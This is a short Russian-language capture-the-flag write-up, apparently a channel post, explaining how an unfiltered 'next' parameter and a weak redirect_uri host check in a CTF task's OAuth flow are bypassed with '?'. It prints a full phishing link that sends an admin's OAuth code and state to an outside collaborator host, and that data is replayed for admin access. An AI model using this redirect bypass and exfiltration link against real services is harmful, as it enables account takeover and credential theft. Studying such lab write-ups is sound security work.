Шакализация волны от @Dan1Lev, наша команда xyz ❤️
tv.alfactf.ru/api/auth/login принимает параметр next и передаёт его на shakalauth/oauth/authorize в двух параметрах — redirect_uri и next, без фильтрации.
shakalauth/oauth/authorize пытается отфильтровать redirect_uri, который не оканчивается на .alfactf.ru. Это можно обойти с помощью ?:
https://9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru/
🔹 На этапе проверки tv.alfactf.ru не считается частью пути, и
redirect_uri.split("://", 1)[1].split("/", 1)[0].split(":", 1)[0]вернёт
9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru
что как раз проходит по условию.
🔹 В момент запроса строка
9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru
преобразуется в
9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com/?tv.alfactf.ru
Всё это делалось ради инъекции в iframe-шаблон, который отправляет code и state на наш сервер.
В итоге получаем ссылку, которую отправляем в чат поддержки
https://tv.alfactf.ru:20016/api/auth/login?next=https://9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru/
После этого полученные данные отправляем на
tv.alfactf.ru/api/auth/callback
и получаем авторизацию админа 🛡. Там меняем качество — и получаем флаг 🚩
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube